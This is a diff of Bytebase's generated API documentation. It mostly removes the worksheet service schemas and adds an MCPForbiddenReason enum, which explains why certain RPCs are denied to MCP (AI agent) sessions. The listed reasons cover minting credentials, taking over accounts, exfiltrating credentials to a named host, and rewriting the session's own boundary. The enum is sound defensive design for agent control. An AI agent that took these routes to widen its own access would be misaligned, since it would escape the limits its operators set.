- The maximum value is 1000; values above 1000 will be coerced to 1000.
- pageToken:
- type: string
- title: page_token
- description: |-
- A page token, received from a previous `SearchWorksheets` call.
- Provide this to retrieve the subsequent page.
- title: SearchWorksheetsRequest
- additionalProperties: false
- required: true
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.SearchWorksheetsResponse'
/v1/projects/{project}:addWebhook:
post:
tags:
@@ -21108,61 +20287,6 @@ components:
format: int32
title: BatchUpdateSavedQueryOrganizerResponse
additionalProperties: false
- bytebase.v1.BatchUpdateWorksheetOrganizerRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource whose worksheets' organizers are updated.
- Format: projects/{project}
- filter:
- type: string
- title: filter
- description: |-
- To filter the batch update target.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support exact "==" operator.
- organizer:
- title: organizer
- description: The organizer fields to update.
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet organizer.
- Only support update the following fields for now:
- - `starred`
- - `folders`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- title: BatchUpdateWorksheetOrganizerRequest
- required:
- - parent
- - organizer
- - updateMask
- additionalProperties: false
- bytebase.v1.BatchUpdateWorksheetOrganizerResponse:
- type: object
- properties:
- worksheetOrganizers:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- title: worksheet_organizers
- updatedCount:
- type: integer
- title: updated_count
- format: int32
- title: BatchUpdateWorksheetOrganizerResponse
- additionalProperties: false
bytebase.v1.BillingInterval:
type: string
title: BillingInterval
@@ -22133,24 +21257,6 @@ components:
- workloadIdentity
additionalProperties: false
description: Request message for creating a workload identity.
- bytebase.v1.CreateWorksheetRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource where this worksheet will be created.
- Format: projects/{project}
- worksheet:
- title: worksheet
- description: The worksheet to create.
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: CreateWorksheetRequest
- required:
- - parent
- - worksheet
- additionalProperties: false
bytebase.v1.DataClassificationSetting:
type: object
properties:
@@ -23208,19 +22314,6 @@ components:
- name
additionalProperties: false
description: Request message for deleting a workload identity.
- bytebase.v1.DeleteWorksheetRequest:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- The name of the worksheet to delete.
- Format: projects/{project}/worksheets/{worksheet}
- title: DeleteWorksheetRequest
- required:
- - name
- additionalProperties: false
bytebase.v1.DeleteWorkspaceRequest:
type: object
properties:
@@ -24507,33 +23600,20 @@ components:
required:
- name
additionalProperties: false
- bytebase.v1.GetWorkloadIdentityRequest:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- The name of the workload identity to retrieve.
- Format: workloadIdentities/{email}
- title: GetWorkloadIdentityRequest
- required:
- - name
- additionalProperties: false
- description: Request message for getting a workload identity.
- bytebase.v1.GetWorksheetRequest:
+ bytebase.v1.GetWorkloadIdentityRequest:
type: object
properties:
name:
type: string
title: name
description: |-
- The name of the worksheet to retrieve.
- Format: projects/{project}/worksheets/{worksheet}
- title: GetWorksheetRequest
+ The name of the workload identity to retrieve.
+ Format: workloadIdentities/{email}
+ title: GetWorkloadIdentityRequest
required:
- name
additionalProperties: false
+ description: Request message for getting a workload identity.
bytebase.v1.GetWorkspaceRequest:
type: object
properties:
@@ -26919,93 +25999,6 @@ components:
title: ListWorkloadIdentitiesResponse
additionalProperties: false
description: Response message for listing workload identities.
- bytebase.v1.ListWorksheetFoldersRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheet folders.
- Format: projects/{project}
- title: ListWorksheetFoldersRequest
- required:
- - parent
- additionalProperties: false
- bytebase.v1.ListWorksheetFoldersResponse:
- type: object
- properties:
- folders:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.WorksheetFolder'
- title: folders
- description: The caller's worksheet folders.
- title: ListWorksheetFoldersResponse
- additionalProperties: false
- bytebase.v1.ListWorksheetsRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheets.
- Format: projects/{project}
- Use "projects/-" to list worksheets across all projects.
- filter:
- type: string
- title: filter
- description: |-
- To filter the list result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
-
- For example:
- creator == "users/{email}"
- creator != "users/{email}"
- pageSize:
- type: integer
- title: page_size
- format: int32
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
- The maximum value is 1000; values above 1000 will be coerced to 1000.
- pageToken:
- type: string
- title: page_token
- description: |-
- A page token, received from a previous `ListWorksheets` call.
- Provide this to retrieve the subsequent page.
-
- When paginating, all other parameters provided to `ListWorksheets` must match
- the call that provided the page token.
- title: ListWorksheetsRequest
- required:
- - parent
- additionalProperties: false
- bytebase.v1.ListWorksheetsResponse:
- type: object
- properties:
- worksheets:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: worksheets
- description: The worksheets from the specified parent.
- nextPageToken:
- type: string
- title: next_page_token
- description: |-
- A token to retrieve next page of worksheets.
- Pass this value in the page_token field in the subsequent call to
- `ListWorksheets` method to retrieve the next page of worksheets.
- title: ListWorksheetsResponse
- additionalProperties: false
bytebase.v1.ListWorkspacesRequest:
type: object
title: ListWorkspacesRequest
@@ -27152,6 +26145,24 @@ components:
Protocol) server's delegated credential. The values are copied verbatim from
the verified credential's grant state; empty fields record that the grant
stored nothing (legacy sessions), never a resolved or synthesized value.
+ bytebase.v1.MCPForbiddenReason:
+ type: string
+ title: MCPForbiddenReason
+ enum:
+ - MCP_FORBIDDEN_REASON_UNSPECIFIED
+ - MINTS_CREDENTIAL
+ - RESETS_CREDENTIAL
+ - TAKES_OVER_ACCOUNT
+ - ENDS_SESSION
+ - ENDS_MEMBERSHIP
+ - MINTS_CREDENTIAL_FOR_OTHERS
+ - REWRITES_SESSION_BOUNDARY
+ description: |-
+ Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+ each value names what its methods actually do, and the serving side turns
+ that into a sentence. A denial whose stated reason has drifted from the
+ mechanism is worse than a bare refusal, because it is the thing the next
+ reader trusts — so a method changing what it does changes its reason here.
bytebase.v1.MCPMethodClass:
type: string
title: MCPMethodClass
@@ -30625,76 +29636,6 @@ components:
`SearchSavedQueries` method to retrieve the next page of saved queries.
title: SearchSavedQueriesResponse
additionalProperties: false
- bytebase.v1.SearchWorksheetsRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheets.
- Format: projects/{project}
- filter:
- type: string
- title: filter
- description: |-
- To filter the search result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - title: the worksheet title, support "contains" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support "==" operator.
-
- For example:
- creator == "users/{email}"
- title.contains("worksheet title")
- creator != "users/{email}"
- starred == true
- starred == false
- visibility in ["PRIVATE", "PROJECT_READ", "PROJECT_WRITE"]
- visibility == "PRIVATE"
- folder == "foo/bar"
- pageSize:
- type: integer
- title: page_size
- format: int32
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
- The maximum value is 1000; values above 1000 will be coerced to 1000.
- pageToken:
- type: string
- title: page_token
- description: |-
- A page token, received from a previous `SearchWorksheets` call.
- Provide this to retrieve the subsequent page.
- title: SearchWorksheetsRequest
- required:
- - parent
- additionalProperties: false
- bytebase.v1.SearchWorksheetsResponse:
- type: object
- properties:
- worksheets:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: worksheets
- description: The worksheets that matched the search criteria.
- nextPageToken:
- type: string
- title: next_page_token
- description: |-
- A token to retrieve next page of worksheets.
- Pass this value in the page_token field in the subsequent call to
- `SearchWorksheets` method to retrieve the next page of worksheets.
- title: SearchWorksheetsResponse
- additionalProperties: false
bytebase.v1.SemanticTypeSetting:
type: object
properties:
@@ -33281,62 +32222,6 @@ components:
- workloadIdentity
additionalProperties: false
description: Request message for updating a workload identity.
- bytebase.v1.UpdateWorksheetOrganizerRequest:
- type: object
- properties:
- organizer:
- title: organizer
- description: |-
- The organizer to update.
-
- The organizer's `worksheet` field is used to identify the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet organizer.
- Only support update the following fields for now:
- - `starred`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- allowMissing:
- type: boolean
- title: allow_missing
- description: |-
- If set to true, and the worksheet organizer is not found, a new worksheet organizer will be created.
- In this situation, `update_mask` is ignored.
- title: UpdateWorksheetOrganizerRequest
- required:
- - organizer
- additionalProperties: false
- bytebase.v1.UpdateWorksheetRequest:
- type: object
- properties:
- worksheet:
- title: worksheet
- description: |-
- The worksheet to update.
-
- The worksheet's `name` field is used to identify the worksheet to update.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet.
- (e.g., `title`, `statement`; *not* `worksheet.title` or `worksheet.statement`)
- Only support update the following fields for now:
- - `title`
- - `statement`
- - `starred`
- - `visibility`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- title: UpdateWorksheetRequest
- required:
- - worksheet
- additionalProperties: false
bytebase.v1.UpdateWorkspaceRequest:
type: object
properties:
@@ -33673,142 +32558,6 @@ components:
- GITHUB
- GITLAB
description: ProviderType identifies the CI/CD platform.
- bytebase.v1.Worksheet:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- (IMMUTABLE) The name of the worksheet resource, generated by the server.
- Canonical parent is project.
- Format: projects/{project}/worksheets/{worksheet}
- project:
- type: string
- title: project
- description: |-
- The project resource name.
- Format: projects/{project}
- readOnly: true
- database:
- type: string
- title: database
- description: |-
- The database resource name.
- Format: instances/{instance}/databases/{database}
- If the database parent doesn't exist, the database field is empty.
- title:
- type: string
- title: title
- maxLength: 200
- description: The title of the worksheet.
- creator:
- type: string
- title: creator
- description: |-
- The creator of the Worksheet.
- Format: users/{email}
- readOnly: true
- createTime:
- title: create_time
- description: The create time of the worksheet.
- readOnly: true
- $ref: '#/components/schemas/google.protobuf.Timestamp'
- updateTime:
- title: update_time
- description: The last update time of the worksheet.
- readOnly: true
- $ref: '#/components/schemas/google.protobuf.Timestamp'
- content:
- type: string
- title: content
- format: byte
- description: |-
- The content of the worksheet.
- By default, it will be cut off in SearchWorksheet() method. If it doesn't match the `content_size`, you can
- use GetWorksheet() request to retrieve the full content.
- contentSize:
- type:
- - integer
- - string
- title: content_size
- format: int64
- description: content_size is the full size of the content, may not match the size of the `content` field.
- readOnly: true
- visibility:
- title: visibility
- $ref: '#/components/schemas/bytebase.v1.Worksheet.Visibility'
- starred:
- type: boolean
- title: starred
- description: starred indicates whether the worksheet is starred by the current authenticated user.
- readOnly: true
- folders:
- type: array
- items:
- type: string
- readOnly: true
- title: folders
- readOnly: true
- title: Worksheet
- required:
- - name
- - title
- - content
- - visibility
- additionalProperties: false
- bytebase.v1.Worksheet.Visibility:
- type: string
- title: Visibility
- enum:
- - VISIBILITY_UNSPECIFIED
- - PROJECT_READ
- - PROJECT_WRITE
- - PRIVATE
- bytebase.v1.WorksheetFolder:
- type: object
- properties:
- folders:
- type: array
- items:
- type: string
- title: folders
- description: The folder path segments.
- category:
- title: category
- description: The folder category.
- $ref: '#/components/schemas/bytebase.v1.WorksheetFolder.Category'
- title: WorksheetFolder
- additionalProperties: false
- bytebase.v1.WorksheetFolder.Category:
- type: string
- title: Category
- enum:
- - CATEGORY_UNSPECIFIED
- - MINE
- - SHARED
- bytebase.v1.WorksheetOrganizer:
- type: object
- properties:
- worksheet:
- type: string
- title: worksheet
- description: |-
- The name of the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- starred:
- type: boolean
- title: starred
- description: starred means if the worksheet is starred.
- folders:
- type: array
- items:
- type: string
- title: folders
- title: WorksheetOrganizer
- required:
- - worksheet
- additionalProperties: false
bytebase.v1.Workspace:
type: object
properties:
@@ -35480,7 +34229,5 @@ tags:
description: SubscriptionService manages enterprise subscriptions and licensing.
- name: WorkloadIdentityService
description: WorkloadIdentityService manages workload identities for external CI/CD integrations.
- - name: WorksheetService
- description: WorksheetService manages SQL worksheets for query development.
- name: WorkspaceService
description: WorkspaceService manages workspace-level operations and profile.
diff --git a/proto/gen/grpc-doc/v1/README.md b/proto/gen/grpc-doc/v1/README.md
index c4b12d85ca..2bafc10ab4 100644
--- a/proto/gen/grpc-doc/v1/README.md
+++ b/proto/gen/grpc-doc/v1/README.md
@@ -5,6 +5,7 @@
- [v1/annotation.proto](#v1_annotation-proto)
- [AuthMethod](#bytebase-v1-AuthMethod)
+ - [MCPForbiddenReason](#bytebase-v1-MCPForbiddenReason)
- [MCPMethodClass](#bytebase-v1-MCPMethodClass)
- [File-level Extensions](#v1_annotation-proto-extensions)
@@ -12,6 +13,7 @@
- [File-level Extensions](#v1_annotation-proto-extensions)
- [File-level Extensions](#v1_annotation-proto-extensions)
- [File-level Extensions](#v1_annotation-proto-extensions)
+ - [File-level Extensions](#v1_annotation-proto-extensions)
- [v1/access_grant_service.proto](#v1_access_grant_service-proto)
- [AccessGrant](#bytebase-v1-AccessGrant)
@@ -764,29 +766,6 @@
- [WorkloadIdentityService](#bytebase-v1-WorkloadIdentityService)
-- [v1/worksheet_service.proto](#v1_worksheet_service-proto)
- - [BatchUpdateWorksheetOrganizerRequest](#bytebase-v1-BatchUpdateWorksheetOrganizerRequest)
- - [BatchUpdateWorksheetOrganizerResponse](#bytebase-v1-BatchUpdateWorksheetOrganizerResponse)
- - [CreateWorksheetRequest](#bytebase-v1-CreateWorksheetRequest)
- - [DeleteWorksheetRequest](#bytebase-v1-DeleteWorksheetRequest)
- - [GetWorksheetRequest](#bytebase-v1-GetWorksheetRequest)
- - [ListWorksheetFoldersRequest](#bytebase-v1-ListWorksheetFoldersRequest)
- - [ListWorksheetFoldersResponse](#bytebase-v1-ListWorksheetFoldersResponse)
- - [ListWorksheetsRequest](#bytebase-v1-ListWorksheetsRequest)
- - [ListWorksheetsResponse](#bytebase-v1-ListWorksheetsResponse)
- - [SearchWorksheetsRequest](#bytebase-v1-SearchWorksheetsRequest)
- - [SearchWorksheetsResponse](#bytebase-v1-SearchWorksheetsResponse)
- - [UpdateWorksheetOrganizerRequest](#bytebase-v1-UpdateWorksheetOrganizerRequest)
- - [UpdateWorksheetRequest](#bytebase-v1-UpdateWorksheetRequest)
- - [Worksheet](#bytebase-v1-Worksheet)
- - [WorksheetFolder](#bytebase-v1-WorksheetFolder)
- - [WorksheetOrganizer](#bytebase-v1-WorksheetOrganizer)
-
- - [Worksheet.Visibility](#bytebase-v1-Worksheet-Visibility)
- - [WorksheetFolder.Category](#bytebase-v1-WorksheetFolder-Category)
-
- - [WorksheetService](#bytebase-v1-WorksheetService)
-
- [v1/workspace_service.proto](#v1_workspace_service-proto)
- [DeleteWorkspaceRequest](#bytebase-v1-DeleteWorkspaceRequest)
- [GetWorkspaceRequest](#bytebase-v1-GetWorkspaceRequest)
@@ -826,6 +805,28 @@ Authorization method for RPC calls.
+<a name="bytebase-v1-MCPForbiddenReason"></a>
+
+### MCPForbiddenReason
+Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+each value names what its methods actually do, and the serving side turns
+that into a sentence. A denial whose stated reason has drifted from the
+mechanism is worse than a bare refusal, because it is the thing the next
+reader trusts — so a method changing what it does changes its reason here.
+
+| Name | Number | Description |
+| ---- | ------ | ----------- |
+| MCP_FORBIDDEN_REASON_UNSPECIFIED | 0 | No reason recorded. The method is still denied — mcp_method_class is what enforces — and the denial falls back to generic wording. |
+| MINTS_CREDENTIAL | 1 | Puts a token for the caller&#39;s own principal in the response body. |
+| RESETS_CREDENTIAL | 2 | Drives the out-of-band reset flow that sets or delivers the secret a login accepts. |
+| TAKES_OVER_ACCOUNT | 3 | Rewrites an account&#39;s own credentials, which would let the session log in as that account. |
+| ENDS_SESSION | 4 | Destroys the human&#39;s own login session. |
+| ENDS_MEMBERSHIP | 5 | Destroys the caller&#39;s own workspace membership and mints a plain workspace token on the way out. |
+| MINTS_CREDENTIAL_FOR_OTHERS | 6 | Leaves someone holding a principal the caller is not — by issuing its credential, carrying an existing one out to a host the caller named, choosing what will later be trusted to mint one, or redirecting where one gets delivered. |
+| REWRITES_SESSION_BOUNDARY | 7 | Rewrites the workspace configuration that governs the session making the call — the MCP switch itself, the sign-in and SSO settings, and the mail relay that carries credential resets. A session that can widen its own ceiling is not bounded by it. |
+
+
+
<a name="bytebase-v1-MCPMethodClass"></a>
### MCPMethodClass
@@ -853,6 +854,7 @@ widen it.
| allow_without_credential | bool | .google.protobuf.MethodOptions | 100000 | Whether the method allows access without authentication credentials. |
| audit | bool | .google.protobuf.MethodOptions | 100003 | Whether to audit calls to this method. |
| auth_method | AuthMethod | .google.protobuf.MethodOptions | 100002 | The authorization method to use for this RPC. |
+| mcp_forbidden_reason | MCPForbiddenReason | .google.protobuf.MethodOptions | 100005 | Why the method is forbidden to MCP sessions. Meaningful only alongside mcp_method_class = FORBIDDEN; the denial names it so the agent, and the operator reading the audit row, learn why rather than just that it was refused. |
| mcp_method_class | MCPMethodClass | .google.protobuf.MethodOptions | 100004 | How the method is classified for MCP (AI agent) sessions. |
| permission | string | .google.protobuf.MethodOptions | 100001 | The permission required to call this method. |
@@ -12338,353 +12340,6 @@ WorkloadIdentityService manages workload identities for external CI/CD integrati
-<a name="v1_worksheet_service-proto"></a>
-<p align="right"><a href="#top">Top</a></p>
-
-## v1/worksheet_service.proto
-
-
-
-<a name="bytebase-v1-BatchUpdateWorksheetOrganizerRequest"></a>
-
-### BatchUpdateWorksheetOrganizerRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| parent | [string](#string) | | The parent resource whose worksheets&#39; organizers are updated. Format: projects/{project} |
-| filter | [string](#string) | | To filter the batch update target. The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter: - name: the worksheet name in &#34;projects/{project}/worksheets/{worksheet}&#34; format, support &#34;==&#34; and &#34;in [xx]&#34; operator. - creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator. - starred: should be &#34;true&#34; or &#34;false&#34;, filter starred/unstarred sheets, support &#34;==&#34; operator. - visibility: check Visibility enum in the Worksheet message for values, support &#34;==&#34; and &#34;in [xx]&#34; operator. - folder: the worksheet organizer folder path, support exact &#34;==&#34; operator. |
-| organizer | [WorksheetOrganizer](#bytebase-v1-WorksheetOrganizer) | | The organizer fields to update. |
-| update_mask | [google.protobuf.FieldMask](#google-protobuf-FieldMask) | | The list of fields to be updated. Fields are specified relative to the worksheet organizer. Only support update the following fields for now: - `starred` - `folders` |
-
-
-
-
-
-
-<a name="bytebase-v1-BatchUpdateWorksheetOrganizerResponse"></a>
-
-### BatchUpdateWorksheetOrganizerResponse
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| worksheet_organizers | [WorksheetOrganizer](#bytebase-v1-WorksheetOrganizer) | repeated | |
-| updated_count | [int32](#int32) | | |
-
-
-
-
-
-
-<a name="bytebase-v1-CreateWorksheetRequest"></a>
-
-### CreateWorksheetRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| parent | [string](#string) | | The parent resource where this worksheet will be created. Format: projects/{project} |
-| worksheet | [Worksheet](#bytebase-v1-Worksheet) | | The worksheet to create. |
-
-
-
-
-
-
-<a name="bytebase-v1-DeleteWorksheetRequest"></a>
-
-### DeleteWorksheetRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| name | [string](#string) | | The name of the worksheet to delete. Format: projects/{project}/worksheets/{worksheet} |
-
-
-
-
-
-
-<a name="bytebase-v1-GetWorksheetRequest"></a>
-
-### GetWorksheetRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| name | [string](#string) | | The name of the worksheet to retrieve. Format: projects/{project}/worksheets/{worksheet} |
-
-
-
-
-
-
-<a name="bytebase-v1-ListWorksheetFoldersRequest"></a>
-
-### ListWorksheetFoldersRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| parent | [string](#string) | | The parent resource of the worksheet folders. Format: projects/{project} |
-
-
-
-
-
-
-<a name="bytebase-v1-ListWorksheetFoldersResponse"></a>
-
-### ListWorksheetFoldersResponse
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| folders | [WorksheetFolder](#bytebase-v1-WorksheetFolder) | repeated | The caller&#39;s worksheet folders. |
-
-
-
-
-
-
-<a name="bytebase-v1-ListWorksheetsRequest"></a>
-
-### ListWorksheetsRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| parent | [string](#string) | | The parent resource of the worksheets. Format: projects/{project} Use &#34;projects/-&#34; to list worksheets across all projects. |
-| filter | [string](#string) | | To filter the list result. The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter: - creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator.
-
-For example: creator == &#34;users/{email}&#34; creator != &#34;users/{email}&#34; |
-| page_size | [int32](#int32) | | The maximum number of worksheets to return. The service may return fewer than this value. If unspecified, at most 10 worksheets will be returned. The maximum value is 1000; values above 1000 will be coerced to 1000. |
-| page_token | [string](#string) | | A page token, received from a previous `ListWorksheets` call. Provide this to retrieve the subsequent page.
-
-When paginating, all other parameters provided to `ListWorksheets` must match the call that provided the page token. |
-
-
-
-
-
-
-<a name="bytebase-v1-ListWorksheetsResponse"></a>
-
-### ListWorksheetsResponse
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| worksheets | [Worksheet](#bytebase-v1-Worksheet) | repeated | The worksheets from the specified parent. |
-| next_page_token | [string](#string) | | A token to retrieve next page of worksheets. Pass this value in the page_token field in the subsequent call to `ListWorksheets` method to retrieve the next page of worksheets. |
-
-
-
-
-
-
-<a name="bytebase-v1-SearchWorksheetsRequest"></a>
-
-### SearchWorksheetsRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| parent | [string](#string) | | The parent resource of the worksheets. Format: projects/{project} |
-| filter | [string](#string) | | To filter the search result. The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter: - name: the worksheet name in &#34;projects/{project}/worksheets/{worksheet}&#34; format, support &#34;==&#34; and &#34;in [xx]&#34; operator. - title: the worksheet title, support &#34;contains&#34; operator. - creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator. - starred: should be &#34;true&#34; or &#34;false&#34;, filter starred/unstarred sheets, support &#34;==&#34; operator. - visibility: check Visibility enum in the Worksheet message for values, support &#34;==&#34; and &#34;in [xx]&#34; operator. - folder: the worksheet organizer folder path, support &#34;==&#34; operator.
-
-For example: creator == &#34;users/{email}&#34; title.contains(&#34;worksheet title&#34;) creator != &#34;users/{email}&#34; starred == true starred == false visibility in [&#34;PRIVATE&#34;, &#34;PROJECT_READ&#34;, &#34;PROJECT_WRITE&#34;] visibility == &#34;PRIVATE&#34; folder == &#34;foo/bar&#34; |
-| page_size | [int32](#int32) | | The maximum number of worksheets to return. The service may return fewer than this value. If unspecified, at most 10 worksheets will be returned. The maximum value is 1000; values above 1000 will be coerced to 1000. |
-| page_token | [string](#string) | | A page token, received from a previous `SearchWorksheets` call. Provide this to retrieve the subsequent page. |
-
-
-
-
-
-
-<a name="bytebase-v1-SearchWorksheetsResponse"></a>
-
-### SearchWorksheetsResponse
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| worksheets | [Worksheet](#bytebase-v1-Worksheet) | repeated | The worksheets that matched the search criteria. |
-| next_page_token | [string](#string) | | A token to retrieve next page of worksheets. Pass this value in the page_token field in the subsequent call to `SearchWorksheets` method to retrieve the next page of worksheets. |
-
-
-
-
-
-
-<a name="bytebase-v1-UpdateWorksheetOrganizerRequest"></a>
-
-### UpdateWorksheetOrganizerRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| organizer | [WorksheetOrganizer](#bytebase-v1-WorksheetOrganizer) | | The organizer to update.
-
-The organizer&#39;s `worksheet` field is used to identify the worksheet. Format: projects/{project}/worksheets/{worksheet} |
-| update_mask | [google.protobuf.FieldMask](#google-protobuf-FieldMask) | | The list of fields to be updated. Fields are specified relative to the worksheet organizer. Only support update the following fields for now: - `starred` |
-| allow_missing | [bool](#bool) | | If set to true, and the worksheet organizer is not found, a new worksheet organizer will be created. In this situation, `update_mask` is ignored. |
-
-
-
-
-
-
-<a name="bytebase-v1-UpdateWorksheetRequest"></a>
-
-### UpdateWorksheetRequest
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| worksheet | [Worksheet](#bytebase-v1-Worksheet) | | The worksheet to update.
-
-The worksheet&#39;s `name` field is used to identify the worksheet to update. Format: projects/{project}/worksheets/{worksheet} |
-| update_mask | [google.protobuf.FieldMask](#google-protobuf-FieldMask) | | The list of fields to be updated. Fields are specified relative to the worksheet. (e.g., `title`, `statement`; *not* `worksheet.title` or `worksheet.statement`) Only support update the following fields for now: - `title` - `statement` - `starred` - `visibility` |
-
-
-
-
-
-
-<a name="bytebase-v1-Worksheet"></a>
-
-### Worksheet
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| name | [string](#string) | | The name of the worksheet resource, generated by the server. Canonical parent is project. Format: projects/{project}/worksheets/{worksheet} |
-| project | [string](#string) | | The project resource name. Format: projects/{project} |
-| database | [string](#string) | | The database resource name. Format: instances/{instance}/databases/{database} If the database parent doesn&#39;t exist, the database field is empty. |
-| title | [string](#string) | | The title of the worksheet. |
-| creator | [string](#string) | | The creator of the Worksheet. Format: users/{email} |
-| create_time | [google.protobuf.Timestamp](#google-protobuf-Timestamp) | | The create time of the worksheet. |
-| update_time | [google.protobuf.Timestamp](#google-protobuf-Timestamp) | | The last update time of the worksheet. |
-| content | [bytes](#bytes) | | The content of the worksheet. By default, it will be cut off in SearchWorksheet() method. If it doesn&#39;t match the `content_size`, you can use GetWorksheet() request to retrieve the full content. |
-| content_size | [int64](#int64) | | content_size is the full size of the content, may not match the size of the `content` field. |
-| visibility | [Worksheet.Visibility](#bytebase-v1-Worksheet-Visibility) | | |
-| starred | [bool](#bool) | | starred indicates whether the worksheet is starred by the current authenticated user. |
-| folders | [string](#string) | repeated | |
-
-
-
-
-
-
-<a name="bytebase-v1-WorksheetFolder"></a>
-
-### WorksheetFolder
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| folders | [string](#string) | repeated | The folder path segments. |
-| category | [WorksheetFolder.Category](#bytebase-v1-WorksheetFolder-Category) | | The folder category. |
-
-
-
-
-
-
-<a name="bytebase-v1-WorksheetOrganizer"></a>
-
-### WorksheetOrganizer
-
-
-
-| Field | Type | Label | Description |
-| ----- | ---- | ----- | ----------- |
-| worksheet | [string](#string) | | The name of the worksheet. Format: projects/{project}/worksheets/{worksheet} |
-| starred | [bool](#bool) | | starred means if the worksheet is starred. |
-| folders | [string](#string) | repeated | |
-
-
-
-
-
-
-
-
-<a name="bytebase-v1-Worksheet-Visibility"></a>
-
-### Worksheet.Visibility
-
-
-| Name | Number | Description |
-| ---- | ------ | ----------- |
-| VISIBILITY_UNSPECIFIED | 0 | |
-| PROJECT_READ | 1 | Read access in project scope, worksheet OWNER/DBA and project OWNER can read/write, other project members can read. |
-| PROJECT_WRITE | 2 | Write access in project scope, worksheet OWNER/DBA and all members in the project can write the worksheet. |
-| PRIVATE | 3 | Private, only worksheet OWNER can read/write. |
-
-
-
-<a name="bytebase-v1-WorksheetFolder-Category"></a>
-
-### WorksheetFolder.Category
-
-
-| Name | Number | Description |
-| ---- | ------ | ----------- |
-| CATEGORY_UNSPECIFIED | 0 | |
-| MINE | 1 | |
-| SHARED | 2 | |
-
-
-
-
-
-
-
-<a name="bytebase-v1-WorksheetService"></a>
-
-### WorksheetService
-WorksheetService manages SQL worksheets for query development.
-
-| Method Name | Request Type | Response Type | Description |
-| ----------- | ------------ | ------------- | ------------|
-| CreateWorksheet | [CreateWorksheetRequest](#bytebase-v1-CreateWorksheetRequest) | [Worksheet](#bytebase-v1-Worksheet) | Creates a personal worksheet used in SQL Editor. Any authenticated user can create their own worksheets. Permissions required: None (authenticated users only) |
